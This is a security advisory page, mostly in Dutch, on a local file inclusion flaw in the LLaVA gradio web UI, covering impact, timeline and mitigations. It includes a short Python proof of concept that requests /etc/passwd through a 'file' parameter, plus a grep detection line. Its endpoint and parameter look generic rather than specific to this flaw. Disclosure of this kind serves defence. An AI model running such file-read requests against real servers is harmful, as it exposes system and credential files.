Lokale Bestand Inclusie in haotian-liu/llava

De impact van deze kwetsbaarheid is significant. Een succesvolle exploitatie stelt een aanvaller in staat om gevoelige systeembestanden te lezen, waaronder configuratiebestanden, wachtwoorden en andere vertrouwelijke informatie. Dit kan leiden tot volledige controle over het systeem, data-exfiltratie en verdere aanvalsmogelijkheden. De mogelijkheid om willekeurige bestanden te benaderen, opent de deur naar diverse aanvallen, zoals het uitvoeren van code via het benaderen van scripts of het verkrijgen van inloggegevens. Het is vergelijkbaar met LFI kwetsbaarheden die in andere webapplicaties zijn aangetroffen, waarbij de toegang tot systeembestanden de basis vormt voor verdere exploitatie.

Users deploying LLaVA for research or experimentation, particularly those using the gradio web UI for interactive demonstrations, are at risk. Shared hosting environments where LLaVA is deployed alongside other applications are also vulnerable, as a successful exploit could potentially compromise the entire host.

• python / server:

import os
import requests

# Target URL
url = "http://your-llava-server/gradio_app"

# Attempt to read a sensitive file
file_to_read = "/etc/passwd"

# Craft the request
params = {'file': file_to_read}

# Send the request
response = requests.get(url, params=params)

# Check the response
if response.status_code == 200:
    print(f"File content: {response.text}")
else:
    print(f"Request failed with status code: {response.status_code}")

• linux / server:

# Monitor access logs for suspicious file requests
grep -i "/etc/passwd" /var/log/apache2/access.log

1. 2025-03-20Disclosure

   disclosure

1. Gereserveerd2024-12-02
2. Gepubliceerd2025-03-20
3. Gewijzigd2025-10-15
4. EPSS bijgewerkt2026-04-02

De primaire mitigatie is het updaten naar een beveiligde versie van LLaVA zodra deze beschikbaar is. Totdat een update beschikbaar is, kan een tijdelijke oplossing bestaan uit het implementeren van strenge inputvalidatie in de gradio web UI component. Dit omvat het whitelisten van toegestane bestanden en het afwijzen van alle andere verzoeken. Het configureren van een Web Application Firewall (WAF) om LFI-pogingen te detecteren en te blokkeren is een andere optie. Controleer ook de permissies van bestanden en directories om te zorgen dat de applicatie alleen toegang heeft tot de benodigde resources.